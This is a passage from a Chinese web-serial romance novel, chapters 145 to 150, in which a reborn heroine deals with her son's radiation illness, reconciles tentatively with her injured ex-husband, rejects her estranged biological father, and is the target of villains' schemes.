“明白,您放心。”
……
蓝旗得知小核桃病了。
没等霍时序来接她,便让蓝烟带她来了医院。
看到蓝旗过来。
宋南伊从病床下来,迎了过去,“您怎么过来了?”
“你这孩子,出了这么大的事情,怎么也不跟我讲一声啊?”蓝旗又心疼,又心酸,看宋南伊虚弱的样子,心口又是一疼,“你也病了?快上床上躺着去。”
“我没事,就是发烧了。”宋南伊扶着蓝旗坐下,眼神落到蓝烟面上。
她没有说什么。
只是有一些凌厉。
“南伊,你也要注意身体,别把自己熬坏了,我给你找几个可靠的护工,也她减轻你照顾小核桃时的力不足心。”
“不用了,我妈一直在帮着照顾小核桃,别人,我也不放心。”宋南伊又看了蓝烟一眼,像在暗示什么。
第145章 你在打什么坏主意
蓝烟回避宋南伊的视线。
很乖巧的坐在蓝旗身边,充当空气人。
蓝旗很感激南微的付出,“真是辛苦亲家了,等你们都康复了,我得好好谢谢亲家。”
小核桃跟奶奶很有话聊。
人健康了,也变得调皮捣蛋起来。
“南伊,这小核桃的病是怎么引起的啊?”
宋南伊并没有选择糊弄,而是实话实说,“医生说是辐射。”
“辐射?怎么会辐射到呢?家里也没有辐射的东西啊。”蓝旗不解的问宋南伊,“到底是被什么东西辐射到了?”
宋南伊难言。
要说是小金佛惹的祸,蓝旗指定会自责。
她本身就是个病人。
万一因这事,郁闷入心,病倒,那霍时序还不得跟她拼命。
就此,干巴巴的咽下这口恶气。
当然也不可能。
只是当下,还不是时候,“阿姨,小核桃吃了药后,病情现在好的差不多了,等有时间了,我再慢慢跟你讲。”
“好,你们现在啊,就是得抓紧好起来,不让人担心才是。”
蓝旗陪着小核桃玩了一会儿。
刚好南微过来送饭。
老姐俩就到外面,单独说话。
小核桃睡了。
宋南伊也很累。
蓝烟一直在病房里,她也不说话,眼睛直勾勾的盯着小核桃,盯的宋南伊心里发毛。
“你在打什么坏主意?”
蓝烟收回视线,噗嗤笑了,“我是小核桃的姑姑,我怎么会打坏主意呢?宋南伊,你不要老把我当成假想敌,我是个好人。”
“好人?”宋南伊嗤之以鼻。
面由心生。
蓝烟的脸上,没写着良善两个字。
“蓝烟,我就是没明白,你为什么要在小金锁上使坏呢?小核桃只是个孩子,他也没有得罪过你吧?是因为他是我的孩子吗?现在这儿没有别人,我很想知道。”
蓝烟耸眉梢。
一脸的荒诞。
“我没有做过的事情,你怎么非让我承认呢,宋南伊,你到底是看我有多不顺眼啊?”
她戏谑的笑了。
笑的像个挑衅的妖精。
专喝人血,啃人骨头的那种。
“蓝烟,我一定会找到证据的,希望到时,你也像现在这样笑的如此的恣意。”
宋南伊和蓝烟杠上了。
她可以受伤害。
但小核桃不行。
这是她三世才生下的宝宝,谁伤害她的孩子,她就弄死谁。
蓝旗离开医院时。
给宋南伊留了张银行卡。
说是给小核桃买一些补养品。
宋南伊不想老收蓝旗的东西,追出到车上,将卡还给了她。
“阿姨,真的不用这么客气,小核桃他差不多要出院了,您就放心好了。”
蓝旗叹气,不再勉强。
只是这一句一个阿姨,叫的她心里不好受。
“南伊,真希望,你和时序可以复婚啊。”
宋南伊有点尴尬,“您怎么说到这上面去了。”
蓝旗轻轻的握住了宋南伊的小手。
没人知道,她有多喜欢这个儿媳妇。
甚至有时候,她会觉得自己的儿子,根本配不上这么好的媳妇。
她更知道,她的儿子,很爱这个媳妇。
离婚,是为了不拖累她。
复婚,他们可以一起走向更好不是吗?
“不说了,我就先走了。”
“您路上慢一点。”
车门缓缓关上。
车子驱离医院。
蓝旗的眉间染上了一抹荫翳。
“小核桃,怎么会突然受到了辐射呢?我问过医生了,医生说是他戴的金锁出了问题,怎么会呢?那金锁是我去金店亲自挑选的,还放在寺庙里祈了福,那是保佑小核桃平安长大的,怎么会成了害他生病的元凶呢?”
蓝旗百思不得其解。
她仔细回想着,金锁从她手中到离开的全过程。
突然,看向了蓝烟。
“那天,是你去给你嫂送首饰的,不会是你搞的鬼吧?”
蓝烟疯狂摇头,眼眶开始泛红,“妈,我怎么会做这种事情?小核桃怎么说,也是我的侄儿啊,我怎么会害他呢?妈,你误会我了。”
蓝旗拿不准。
但看蓝烟这副委屈的样子。
似乎,也不像她搞的鬼。
那会是谁呢?
奇怪。
……
小核桃出院时。
宋南伊的病也好的差不多了。
霍时序坚持要带她们回家住。
宋南伊不同意,“你还是先搞好你的前未婚妻吧,我不想我和儿子再受伤害。”
“没有什么前未婚妻,常可欣不会再来找你麻烦了,你放心。”
霍时序一手抱起儿子。
一手拄着拐杖,健步往外走。
小核桃很开心,冲着宋南伊招手,“妈咪,你快一点跟上哟,我们一起回家。”
宋南伊无奈。
小孩子懂什么。
他只想有爸爸,有妈妈,有一个幸福的家。
这样,他在幼儿园里,才会是一个不被歧视的孩子。
她应该为了儿子,再给霍时序一个机会吗?
可那些伤痛的疤,还没有长好。
她现在还没有爱人的能力。
回到霍时序的家。
小核桃拉着爸爸,玩奥特曼大战超人。
宋南伊在一旁静静的坐着,路姐沏了杯咖啡端过来,“太太,喝咖啡吧。”
“路姐,以后别叫我太太了,我早已经不是这个家的太太了。”她听的别扭,淡然伸手接过咖啡,“谢谢。”
路姐心里也很不是滋味。
总是改不了口。
“知道了,太……”
晚上,宋南伊陪小核桃一起睡。
霍时序非得过来挤。
一张一米五宽的床上,挤了两个大人,一个孩子。
小核桃就像个多余的,被挤到床边边,险些掉下去。
“爸爸,你能不能跟妈妈回你们房间睡?我都睡不到床上了。”
小家伙委屈巴巴。
这话正中霍时序的下怀。
他麻利下床。
向宋南伊发出邀请,“你看,咱们都影响儿子睡觉了,回卧室吧。”
“霍时序。”宋南伊奇怪的看着他,“我们不是夫妻,一起睡什么睡?你赶紧回房,我在这儿睡,你要是再强迫我,明天我就带小核桃离开。”
霍时序无奈。
但也不敢用强的。
只好作罢。
宋南伊睡的并不安稳。
半夜下起雨,雨滴敲打着院子里那颗法国梧桐,噼里啪啦的响。
隐约间。
她好像听到了一些压抑的声音。
披上衣服,她下床,走出了房间。
声音是从主卧传出来的。
等到她走近,声音又没了。
会不会是霍时序做噩梦了?
刚要转身离开。
就听到里面“砰”的一声。
她心脏一紧,忙转动门把手,推开了主卧室的门,“霍时序……”
第146章 上床睡,和上床,是两件不同的事情
霍时序从床上掉到了床下。
他紧紧的抱着他那条受伤的腿,疼的紧咬牙关。
“你怎么了?”她急忙走过去,“霍时序,你是不是腿疼啊?我帮你叫救护车。”
宋南伊转身要回房间拿手机。
被他一把扣住手腕。
“不用,忍一会儿就好了。”
压抑沉哑的声音,从牙缝中透出。
院里昏暗的路灯光亮,透过窗子,落到他的额头上,密密麻麻的全是汗珠。
宋南伊不知如何是好。
她要开灯,被他拦下,“别开灯,我不想让你看到我狼狈的样子。”
“你狼狈的样子,我看的还少吗?霍时序,这个时候,你要的什么面子。”
话虽这样说。
宋南伊还是将指尖收了回来,维护了他,不必要自尊。
“没有止痛药吗?”
“在抽屉里,不过那药,吃多了,效果已经……”他说话渐渐有了力气,“……我许久没吃了,能挺得住。”
他的呼吸隐忍。
宋南伊觉得没这么硬挺着的必要。
她拉开抽屉,找到了止痛药,掰了一片,递到他嘴里,“吃一片吧,好过这样挨着。”
霍时序还算听话。
就那么干吞了下去。
宋南伊无声轻叹,“你本身就有研究药物的公司,研制一款治疗你腿疾的药,就这么难吗?”
“不难。”他瘫靠在大床边上,胸口还因刚刚的疼痛,在不断的起伏着,“就是想让自己疼,我想这种疼,比起你前世在产床上的那种疼,要轻一千倍,一万倍,对吗?”
宋南伊沉默了。
这件事情,是两个人永远跨不过的坎。
伤疤一再的揭开,那疼就一直在。
她想忘记了。
不是忘了仇恨,是跟自己和解。
“又提这个干什么?”
“南伊,你可以恨我,恨我一辈子,我都愿意,但我不能骗我自己,我为你的恨,而收起了对你的爱,我爱你,南伊,这不是虚伪的情话,是我的真心。”
漆黑中。
她望向了他热切的眼睛。
无声。
缓缓垂眸,声音凄冷,“你知道吗,霍时序,这一世,我生小核桃的时候,以为会跟前世一样的,难产,大出血,我以为会重蹈覆辙,遗书都写好了。”
“可是好神奇,我走进产房,医生打了无痛,我用了没有半个小时,就把他生了下来,特别的顺利,他好胖的,差不多有八斤呢,是当天医院里出生的小宝宝中,最胖的一个。”
“他刚出生没多久就睁开了眼睛,他会冲着我笑,我那时的心里除了满足,还有遗憾,我在想,前世我也生下了一个宝宝,那个宝宝是男是女,他有多重,长什么样子,我一眼也没有看到过……”
宋南伊不敢说起这些事情。
会令她窒息。
会让她的心,像被刀子割开一般的疼。
可她又无法回避。
满是泪水的眼睛,望着面前的男人,“霍时序,那个宝宝是男孩还是女孩?他长的漂亮吗?像你还是像我?”
霍时序无法回答。
那世他那副混沌的样子,脑子里乱七八糟,哪有心情管孩子,且不说他不知道,就算知道,他也不会跟她讲。
那样,她的心里就会永远放不下。
“南伊,别问了好吗?”
她笑了,有泪掉下来,“你还是不愿意告诉我。”
“我们现在有小核桃了,他是我们唯一的孩子,他是上天派来拯救我们的……”他将她紧紧的抱住,附在她的耳边说,“……我不求你忘记过去,我只求你,不要活在过去伤痛中,难受了,你就打我,扇我巴掌,我甘愿的。”
那些记忆是痛苦的。
她永远在跟自己说释怀。
可是好像永远都释怀不了。
“霍时序,我该原谅你吗?”
“不管你原不原谅我,我这一辈子,都会为你赎罪,南伊……”他捧着她的小脸,眼眸幽深的望着她,“爱你,是我这一辈子唯一要做的事情。”
他吻上她的唇。
黑暗中,他没有选择横冲直撞,而是缱绻缠绵。
这个吻没带一丝一毫男人的欲望。
他就想感受她。
感受她的呼吸。
感受她久违的味道。
专注而深情。
这一晚。
两个人没有顺理成章的,做一些男女之事。
坐在地板上,倚靠床边,听了一晚上的雨。
天将启明的时候,宋南伊才靠在霍时序的肩头,沉沉睡去。
他没敢动,扯了毯子盖在她身上,就让她这么靠着他睡。
久违的感觉,让他胸口涨的满满的。
就这样,一辈子,也挺好的。
再睁眼的时候,小核桃正站在他们面前,用奇奇怪怪的眼神,打量着……
“爸爸,你和妈妈怎么不去床上睡?地上凉屁屁哦,会生病的。”
霍时序伸手揉了揉儿子的脑袋,笑笑,“不小心睡着了。”
“那妈咪为什么要这儿睡啊?”小核桃歪着脑袋,满脸的不解。
霍时序起身,将宋南伊轻轻的抱到床上,她让舒服的睡。
而后带着小核桃走出卧室,“因为爸爸和妈妈聊了一晚上的心事,没来得及上床睡。”
小核桃表示不解。
“是妈咪不想跟爸爸上床,是不是?”
霍时序:呃……
上床睡,和上床,是两件不同的事情。
他该怎么解释?
“算是吧。”
“那爸爸今天送我去幼儿园吗?”小核桃表示,自己背好小书包了。
“刚出院回家,就要去上幼儿园吗?”他觉得应该好好休息几天,“过几天再去吧。”
小核桃摇头。
坚定反对。
“不行,我今天必需要去幼儿园。”
“为什么?”
小核桃抬起小下巴,“我要跟那个讨人厌的丁丁说,我有爸爸,以后不许取笑我,要不然,我打得他屁股开花。”
霍时序记起来了。
上次他咬了人家耳朵的那个丁丁。
后来,他将那个女人送去了派出所,关了她半个月,这家人托了很多关系,又是赔礼,又是道歉的,这事才算过去。
想必,那个叫丁丁的孩子,早已经不在这个幼儿园里了。
“儿子,听爸的,在家里多休息几天,不着急这一会儿,这样你妈妈也会放心的,好不好?”
霍时序耐心的哄着。
小核桃很听话。
乖乖放下书包,“那好吧。”
宋南伊醒来时。
小核桃在她怀里睡得正香。
她亲了亲小宝贝的小脸,将他抱紧。
昨天晚上。
霍时序说了很多,关于他的病情,关于这几年他做的事情。
她记得最清楚的是,“你放心,伤害小核桃的人,我一直会揪出来,到时交给你处置。”
她没说话。
末了的时候,她说了句,“去治腿吧。”
他似乎听懂了话里的意思。
不需要深刻解读。
他没敢再提复婚的事情,他觉得往后余生这么多年,她总会答应的。
慢一点,又何妨。
第147章 找到亲生父亲
万同齐来江城开画展。
岳川寄了宋南伊一张票。
宋南伊有日子没见过岳川,电话里,问了他最近的状况。
“什么,你回锦城了?怎么不跟我说一声?”
岳川语气平静,“那边有一些私事需要处理,所以……谁都没来得及打招呼,不过你放心,工作室的工作,我交代邓雪了。”
“行吧,你忙你的。”
寥寥几句。
宋南伊便挂断了电话。
票是快递送来的,她很久都没有关注过,这个可能是自己父亲的人。
既然有这个机会。
她还是想见一面的。
……
街角隐秘的咖啡店里。
蓝烟和顾南风,坐到了一起。
二人都心怀鬼胎。
即便是面对面的坐着,各自的眼底也写满了狡黠。
“你给那小崽的药里,掺了假,霍时序知道后,指定会找你算账的,别说宋南伊不会到老爷子面前,讲你的好话,说不定老爷子知道了这事,还会将你赶尽杀绝,想进霍家的族谱,可能得有命才行。”
蓝烟阴阳怪气。
刚做的精致手指甲,被她轻轻的摆弄着,“顾南风,想活命,想让霍家承认,想取代霍时序,可没那么容易,但如果你肯帮我得到霍时序,那我就帮你进霍家的门,还能保你的命。”
顾南风端起咖啡杯,轻轻啜了一口,“你要得到霍时序?他是你名义上的哥哥,你这可有点乱伦啊,况且,他现在是个死瘸子,我听说腰也不行,你得到他有什么用处?就指望,看着他那张脸过日子?”
他将咖啡杯放下。
讥诮勾唇,“不如你跟了我,我倒是可以让你得到女人的满足。”
明明令人脸红心跳的话。
偏偏蓝烟平静的,如同听了句废话,“谁说我要得到他的人了?”
“不然呢?”顾南风蹙眉。
“我只想要他的基因。”
以前,她对他还有垂涎。
自从他瘸了以后,倒也没有那么吸引人了。
但不能否认,他的基因确实好,看小核桃就知道了。
她想要一粒种子。
然后开花,结果。
她没有顾南风那种执念,非要让霍家承认。
只要她的孩子,能继承霍家的财产就好了。
她抬眸看向顾南风,漂亮的丹凤眼,微眯,“顾南风,跟我合作,你不亏。”
“那我倒想听听你想用什么办法,怎样让我活命,又怎样的,让霍家接受我。”
南烟将一份文件,递到了顾南风的面前。
这是交给霍老太爷,霍正诚亲启的秘函。
她从江淮那儿,偷出来的。
“乔家的当家人乔译,身居高位,手中把握着许多ZF的项目,这些项目对于霍氏的发展,有着至关重要的作用,可以让霍氏拔高好几个台阶,乔家看中了霍家的财富,想将自己的独生女,许配给霍家的男丁,你的机会这不就来了。”
“顾南风,霍家除了霍时序,再无男丁,你就是一个完美的替代品,如果这时,你肯让你那父亲,替你争取到这个机会,你马上就成霍南风了。”
“等你和乔家联姻成功了,你用假药伤害小核桃的事情,霍时序想计较,也得看乔家人的面子,老爷子自然也会因为你做有益于霍家的事情,对你另眼相看,你的命保住了,也成了霍家一份子,顾南风,里外里,你都赢家,是不是得给我点回报?”
蓝烟说的没错。
顾南风手中的这份密函中,真的提到了要结秦晋之好的想法。
背靠着乔家这颗大树。
他不仅可以进霍家的门,还可以与霍时序一争高下。
说不定,将来整个霍家都是他的。
“你想要什么?”
“我要霍时序的精子。”她心里的想法早已经成形,“我要那老太婆死,还要那小崽子死。”
至于,宋南伊。
她早晚都会死的。
顾南风笑了。
仰天大笑。
“看来,我们是一种人,为达目的,不择手段。”他就是没想明白,她为什么如此,“不管怎么说,那个姓蓝的收养了你,对你有恩,你对付她儿子,还想杀了人家的小孙子,还要她死,你是怎么想的?”
“那老女人是把我养大了没错,但她并不爱我,这么多年了,她一件像样的,贵重的首饰都没有给过我,甚至,我跟她借钱,她都不借给我,
而对宋南伊,她出手阔绰,价值连城的首饰,说送就送,我好歹也照顾她这么多年,我就不配得到一件像样的首饰吗?不公平,一点都不公平。”
蓝烟的拳头,因为心理失衡,重重地砸在精致的咖啡桌上。
震的咖啡杯碟一起乱响。
顾南风懂了。
唇角那抹看不透的弧度,更甚了一些。
……
宋南伊自己去了画展。
参观画展的人,不算少。
她跟着排队往里进的时候。
听到了一些关于万同齐的事情。
“听说,万大师的女儿病了,这次画作的售价直接打了五折,据说是付女儿的药费。”
“他这么大的一个画家,还要卖画为女儿治病吗?一幅画就卖好几百万呢,是假新闻吧。”
“听说这个万大师爱赌,女儿生病前,钱都在澳城输光了,这才迫不及待的拿画作变现。”
“真的假的?”
宋南伊没有听到肯定的答案。
只听到了,他还有一个女儿。
排队进入画展内。
大家三三两两的在观赏。
她四下寻人,终于在一个角落,看到了在杂志上,看了几十遍的那张熟悉的面孔。
“万大师。”她小跑了过去。
万同齐面色有些憔悴,像是几晚没有睡好一样。
看到陌生漂亮的粉丝,他的眼神还是亮了一下。
“你好,要签名是吧?”
“不是,我有些私事要同你聊一下,可以给十分钟吗?五分钟也行。”
万同齐不解。
看在宋南伊年轻漂亮的份上,他还是同意了。
安静的房间里。
宋南伊说明了来意。
“你有没有在二十五年前,跟一位女士在康明医院,生下一个女婴,然后丢掉了?”
办公室里的空气瞬间凝固。
万同齐眼眸一紧。
很快,震惊被复杂的情绪代之。
满是审视,警惕的,打量起了宋南伊。
他没有立刻承认或否认。
“你是……?小姑娘,你可知道,我的身份,不可以随便乱来的。”
他的反应,令宋南伊心寒。
甚至,他都没有问一句,那个孩子还好不好。
还活着没活着。
希望,瞬间变成失望,但她还是把该讲的话,讲出来,“那女婴没死,而我……就是那个被丢弃的女婴,但你放心,我没有要认你的意思,我只想寻找真相。”
万同齐不屑。
同时气息也慢慢放下。
轻松了不少。
“你想要寻找真相,就得给我看你的证据。”他声音比刚才低沉,有底气,却又带着一丝明显的厌恶,“你知道每天有多少人,绞尽脑汁地想和我攀上关系吗?空口无凭的一句话,我当然不可能认下你?”
证据,宋南伊当然有。
不然,她也不可能找到万同齐。
可她现在,不想给他看了。
“看来万大师,在外面的风流债,还真不少。”宋南伊鄙夷。
第148章 他脏了
“这与你无关。”万同齐脸色一沉,“如果没有别的事情,请吧,天天这些人,真是令人心烦。”
万同齐没打算认宋南伊。
不管她是真的,还是假的。
宋南伊也是一样。
也谈不上难过,就是挺替那位生下自己的‘母亲’不值得。
这种人,真的不配有孩子。
“你放心,我不会纠缠你,我也不会强迫你,今天就当我们没有见过,以后也不必再见面。”
万同齐抬手不耐,“赶紧走。”
转身。
宋南伊离开。
走出画展。
她找了个偏僻的地方,将她所有关于自己的身份,所调查收集的证据,全部付之一炬。
她只是想知道来时路。
并不代表,她没有父母。
她有天底下最好的爸爸妈妈。
这个万同齐根本不配成为她的父亲。
看着这些纸张,一点点地燃烧怠烬,火光里,她心里缺的那个角,也慢慢被填满。
人,其实真的没必要被一些执念困扰。
能抛弃刚生出来婴儿的人,能是什么好东西?
她高估了人性。
起身。
最后一丝火光消失。
她深深呼吸。
她想爸爸妈妈了。
开车,她先去家里接了小核桃,然后又一起去商超采购了很多进口的食材。
妈妈做的饭最好吃了。
她在路上,就给南微打了个电话,“妈,我今天要点菜哦。”
“馋丫头,想吃什么了?”手机那头是南微慈爱又宠溺的声音,“妈冰箱里什么都有,想吃什么,妈亲自给你做。”
“想吃避风塘炒虾,桂花红烧肉,我还要吃阳春面,要吃……鹿茸菌炒肉。”
南微笑着,“好,好。”
“妈,今天咱们做这么多好吃的,我去接星言吧,让他回家改善一下伙食。”
“那你给他打电话。”
“好。”
提前打过电话。
南微的车子开到学校门口时,宋星言已经在等了。
“姐,小核桃。”他欢快的打招呼。
小核桃伸手要舅舅抱,“小舅舅,小核桃都想你了呢。”
“你这小嘴可真甜。”宋星言将小核桃揽在身前,给了他一个变形金刚,让他玩,“姐,今天怎么这么好,接我回家啊?”
“妈说你有日子没回家了,我来接你回去吃点好的。”宋南伊脸上淡而温柔的光泽。
宋星言开心,“我姐姐可是天底下,最好的姐姐。”
“少来。”
一直和宋南伊聊着学校里的事情。
“哦对了姐,你还记得那个叫常可欣的老师吗?就是差一点就跟我前姐夫结婚的那个。”
宋南伊点头,“记得啊,怎么了?”
“听说她死了。”宋星言神神秘秘的,压低声音,“警察找到她时,她在一辆烧的只剩框架的车里,都焦了,听说做了DNA,才确定是她。”
“出车祸了?”宋南伊意外。
宋星言也不清楚,“可能是吧,挺惨的。”
这个小插曲,并没有过多影响姐弟的心情。
车子很快开到了家门口。
意外的是,霍时序的车子也在。
“姐,我前姐夫怎么来了?他这个陈世美,还好意思来我们家,你不要理他。”
宋星言记仇。
在他心里,霍时序已经脏了。
根本配不上宋南伊。
宋南伊没说话,拉开车门走了下来。
刚好,霍时序也从车里下来。
他手上拎着一个长方形的盒子,伸手递给了宋星言,“呶,给你的,最新款,最高配。”
一台电脑。
宋星言没接,傲娇扭过脸去,“我才不要呢,我姐早已经给我买了最最最好的电脑了,你的电脑,还是去讨好别的女人家的弟弟吧。”
霍时序无奈。
小核桃从霍时序手里接过来。
抱着晃晃悠悠的走到宋星言面前,“小舅舅,这是爸爸的一片心意,你就收下吧,给我个面子。”
宋星言抬手捏了下小核桃的鼻子。
“你小子,还要上面子了。”
“小舅舅最好了,小核桃最爱小舅舅了,爸爸他是大人,你别跟大人计较嘛,收下吧,小舅舅。”
宋星言倒也是好哄。
小核桃出马,他便接下来,“好,小舅舅就给小核桃一个面子,下不为例啊。”
“什么叫下不为例?”小核桃歪着脑袋,一脸的求知欲。
宋星言完全不理霍时序,伸手抱起小核桃,往里走,“下不为例的意思就是,没有下一次了,你的面子,这次用了,下次就不能用了。”
“哦,原来是这样的。”
宋南伊走到霍时序的面前。
不知道他过来是什么事情,“有事吗?”
“我今天下班早,路姐说你接了小核桃回娘家,我就过来……蹭个饭吃。”他嬉皮笑脸的,搂上宋南伊的腰,“吃完饭,咱们不接小核桃回去了,我带你去看电影,怎么样?”
宋南伊拧眉。
这怎么说的,好像两个人是夫妻一般的。
她需要提醒他,“霍时序,我们现在连男女朋友都不是,你少自作多情。”
“我这不是在努力追求吗,你看,我也没空手来,我给妈……哦不,阿姨拿了滋补的燕窝,给叔叔还带了一盒今年的新茶,我这么有诚意,你总不能把我往外赶吧。”
宋南伊倒是没好意思再赶。
就是怕父母看到他这副残疾的样子,老觉得亏欠他。
“还有这个……”他拿了一个长条的首饰盒出来,一条小葫芦的项链,“……送你的,寓意福禄双全,喜欢吗?”
她谈不上喜欢,也谈不上讨厌。
霍时序追求了她七年。
她自然是知道他的套路。
“行了,走吧。”
说话的这个功夫。
宋知令的车子开了过来。
看到前岳父下车,霍时序拄着拐杖迎了过去,“您回来了?”
宋知令许久未见,霍时序这副恭敬的样子。
一时有些不适应。
视线不由的落到他残疾的腿上,“你……身体怎么样啊?”
“挺好的。”
宋知令点头,“那就进来吧。”
饭桌上。
大家好像都没有什么话说。
霍时序陪着宋知令喝了几杯,也没敢喝太多。
小核桃在叽叽喳喳的说个不停。
后来被宋星言抱走了。
聊来聊去,终究是逃不过那场大火。
“虽然说你和南伊离婚了,但你当年肯出借百亿的保证金,肯在大火中救了我女儿的命,我……”宋知令有些激动,举起酒杯,“……我也不知道该怎么感谢你,你放心,钱我会尽快还你,你的腿伤成这样……,我会让南伊尽可能的多去照顾你。这杯我敬你。”
霍时序吓的赶紧拿起杯子,指尖哆嗦,“爸,您太客气了,我们都是一家人,说这些干什么。”
宋知令摆手,恩情是要还的。
宋家人,从不欠人。
“我已经不是你爸了,你和南伊现在没有关系,就该丁是丁卯是卯。”
“真不用爸,这是我自愿的,为了南伊,我愿意以命换命。”
他心酸。
宋家已经把他当成了外人。
宋知令一拍桌子,强硬道,“怎么能不用,谁的命不是命,谁的命不是只有一条,你救她是心甘情愿,但我们不能理所当然的享受你的付出,这样,我让南伊搬到你家里去,照顾你,你什么时候腿好了,再让回来。”
第149章 风流成性改不了
宋南伊:……
“爸,我不。”
“听话,这是恩情得报,以前是没机会,现在有机会了,赶紧把这情还了。”
宋知令拍板。
这事就这么定了。
宋南伊扶额。
霍时序也没有反驳。
……
本以为,宋知令是说了句醉话。
宋南伊没往心里拾。
隔天一早起来。
她被正式通知,要搬去霍时序的家,照顾他。
“南伊,爸知道你不愿意,但他当年救了你一命,现在落下一身的病,爸希望你好好的陪着他看病,等他康复了,咱们也算是报了他的恩了。”
“爸妈没有强迫你跟他和好的意思,报恩是报恩,感情是感情,不混为一谈,除了照顾他这事,其余的爸妈都听你的。”
“爸是这样想的,你呢就安心上班和照顾霍时序,小核桃在养病期,要不就交给你妈来照顾,爸也不希望你太累了。”
宋南伊乖巧的听着。
最后点头同意。
这事,似乎只有这样做,才能消除父亲心中,对霍时序的愧疚。
为了父母能安心,她愿意。
但她也想把自己见过万同齐的事情,跟父亲讲一下。
“爸,我也有件事情,要跟你说。”
宋知令看女儿变得严肃,心口一拎,“什么事情啊?”
“爸,我其实……知道,我……不是你和妈亲生的。”
这是前一世的时候,她偷听到的。
这一世,他们夫妻都没有聊过这事。
宋知令惊讶,也在情理之中。
“你……怎么知道这事的?”
“嗯就是……知道了,爸,我的亲生父亲叫万同齐,一位很知名的画家,您应该听说这个人。”
宋知令心口突突的跳的厉害。
他这是要失去女儿吗?
他慌忙抓了速效救心丸吃下,“万同齐是很著名的画家,你这是……要与他相认了?”
“爸,我确实找到了。”
宋知令无奈只能接受这个现实,“你们见过面了对吗?那你有什么打算?要搬走吗?要离开我和你妈妈?要离开我们一家人?”
宋知令眼睛泛着红。
唇角也在微微颤抖。
从小捧在掌心里养大的女儿,要离开了。
他如何舍得?
宋南伊摇头。
她心疼的抱住了父亲,“爸,我确实跟他见过面了,我只所以跟您一个人讲,就是不想让妈妈知道,我没有要离开这个家的打算,我也不会去跟万同齐相认,我永远是您和妈妈的女儿,是星言的亲姐姐,我们永远是一最相爱的一家人。”
宋南伊将她与万同齐见面的事情,跟宋知令了。
没漏下一个字。
宋知令听得生气,“这算什么父亲,猪狗不如的东西,不认就对了。”
“爸,我找亲生父母,只是想知道自己的来时路,就算他们对我很好,我也不会离开您和妈妈的,你们那么疼我,那么爱我,我永远都是你们的女儿。”
父女紧紧相拥。
这一刻,宋南伊对自己的身世是释怀的。
……
宋南伊再次搬进这个熟悉的家。
没了以前的尴尬和排斥,更像是带着任务来的,完成了任务,她就能离开。
至于。
她和霍时序……
她不愿意多想。
深呼吸后。
她扭头看向霍时序,“我帮你预约了江城医院的周医生,他对你的病情相对了解,更是这方面的专家,先去他那儿,看看你的腿接下来怎么治疗,再确定下一步的治疗方案。”
“嗯。”他同意了。
隔天一大早。
宋南伊陪着霍时序来了医院。
因为提前预约。
他们问诊的很顺利。
霍时序被护士推去拍片子。
宋南伊在外面等。
她没有想到,会在这儿遇到万同齐。
他推着轮椅,轮椅上坐着一个面黄肌瘦的女孩,颓废又憔悴,差不多十五六岁的年纪。
身旁还跟着一位,眼睛哭的红肿的女人。
女人柔软,年轻,也漂亮,就是满眼的绝望。
万同齐也看到了宋南伊。
惊讶中,似乎又嗅到了一丝别样的味道。
推着女儿进血液室时,他又回头看到了宋南伊一眼。
宋南伊早已经收回视线。
“看什么看,一看到漂亮的女人,你就走不动路,现在女儿都什么情况了,你能不能收一收你放浪的心思。”
女人拧着万同齐的胳膊,狠狠重重的。
他疼的嘶了一口。
喝斥她,“你有病啊,我看看人,还不行了。”
“看,看,看,就知道看女人,万同齐,我嫁给你这么多年,现在人老珠黄了,你的心又不安稳了,早知道你风流成性改不了,我当初就不应该众叛亲离的嫁给你。”
女人不甘地哭了。
轮椅上的女孩,虚弱的开口劝架,“爸爸,妈妈,你们别吵了。”
万同齐瞪了女人一眼。
“好了,别吵了。”
女孩被护士接过去,透析。
夫妻两个被请出透析室。
“女儿要是好不了,我也不想活了,万同齐,你赶紧想办法啊,你年轻的时候,那么风流,在外面乱生孩子,赶紧找回来啊,说不定哪一个就跟女儿配型成功了,那样女儿就有救了。”
万同齐的老婆哼哼唧唧的哭着。
万同齐沉闷着脸。
起身,“我去外面抽根烟。”
他走出血液科。
远远的就看到,宋南伊扶着霍时序,站在科室门口,在跟医生说话。
他心生纳闷。
这个女的,跟霍时序有关系吗?
“霍总。”万同齐脸上挂着笑,快步走了过去,“好巧啊,能在医院里遇到你,上次你去锦城,招待不周,还望见谅。”
他虚伪的客套着。
看到霍时序的腿,关切地问,“你的腿受伤了?严不严重啊?我有什么可以帮得上忙的地方?”
面对突然出现的万同齐。
霍时序稍显意外,但并不惊讶。
他不想多说,客套颔首,“无碍。”
万同齐想确认,宋南伊和霍时序的关系。
便佯装从未见过宋南伊,礼貌的看向她,“这位是……”
“我太太。”霍时序介绍。
万同齐心口一震。
忙伸出手来,“幸会,霍太太。”
宋南伊淡淡的睨了他一眼。
出口便打碎了他的伪装,“万大师可真健忘啊,我们又不是第一次见面,幸会什么?”
“你们认识?”霍时序诧然。
宋南伊也不想跟他认识。
但他太能装了。
趋炎附势,上赶着巴结的嘴脸,实在丑陋。
“本来也可以不认识的,对吗万大师。”
万同齐脸上有些挂不住。
但还是‘自责’的捶了一下胸口,“都怪我那天说的话不好听,霍总,其实霍太太是我走散多年的女儿。”
宋南伊差点听笑了。
他竟然用了‘走散’这样的字眼。
“万大师,可真搞笑,一个刚出生的婴儿,是如何‘走散’的?”
第150章 能活三到十年
“之前是个误会。”万同齐强行狡辩。
宋南伊已经无意再理会。
她搀着霍时序往外走。
身后的万同齐,盯着二人的背影,迅速在心中盘算了一下。
一个病的要死的女儿。
一个嫁给了江城首富的女儿。
哪一个对他来说,最有利用价值,他立马就掂了出来。
回到车上。
宋南伊在看霍时序今天的检查报告。
刚刚发生的事情,她似乎并没有受太大的影响。
“周医生说,你至少还要做八次手术,才能扔掉拐杖,恢复快的话,需要一年,慢的话,得三年,你还是得积极的进行治疗和康复。”
霍时序点头答应,“为了你,我一定会积极康复治疗的。”
宋南伊没再说什么。
把这些报告都收了起来。
“现在时间还早,你要去公司吗?我得去工作室上班。”她说。
“你……”他想知道,她和万同齐的事情,“……没什么跟我讲的?”
“你想知道的,对我来说,已经不重要了。”宋南伊对着司机说,“小张,开车吧。”
……
宋南伊不愿多说。
霍时序自然有知道的办法。
但这种想法,并不强烈。
他不知道,万同齐对宋南伊来说,是不是伤疤。
将她送到工作室后。
霍时序去了霍氏办公。
江淮拿了一个文件袋过来,“霍总,这是乔译要交给老爷子的,原件我已经交到陈伯手里,这是一份复印件,挺奇怪的,原件本来是密封着的,在我打开之前,好像被打开过。”
江淮调了监控。
但那天的监控被人为删除了。
